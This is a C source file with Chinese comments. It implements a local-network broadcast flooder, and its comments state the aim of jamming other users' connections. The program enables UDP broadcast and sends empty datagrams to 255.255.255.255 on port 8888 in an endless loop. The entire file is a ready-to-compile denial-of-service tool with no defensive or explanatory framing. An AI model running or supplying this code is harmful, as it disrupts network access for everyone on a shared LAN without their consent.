#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>

// 原理：高速不断的向所在局域网的其他用户广播发送数据包，使它们处于网络堵塞状态

int main()
{
    // 创建一个新的数据报式套接字，用于 UDP 通信
    int sock = socket(AF_INET, SOCK_DGRAM, 0);

    // 设置套接字属性，以开启对外广播
    int val = 1;
    setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val));

    if(-1 == sock)
    {
        perror("socket");
        return 1;
    }

    struct sockaddr_in myaddr;
    myaddr.sin_family = AF_INET;
    myaddr.sin_addr.s_addr = INADDR_ANY;
    myaddr.sin_port = htons(8888);

    if(-1 == bind(sock, (struct sockaddr*)&myaddr, sizeof(myaddr)))
    {
        perror("bind");
        return 1;
    }

    struct sockaddr_in youraddr;
    youraddr.sin_family = AF_INET;
    youraddr.sin_addr.s_addr = inet_addr("255.255.255.255");  // 当前局域网的广播地址
    youraddr.sin_port = htons(8888);
    
    while(1)
        sendto(sock, 0, 0, 0, (struct sockaddr*)&youraddr, sizeof(youraddr)); //高速发送空数据包

    close(sock);

    return 0;
}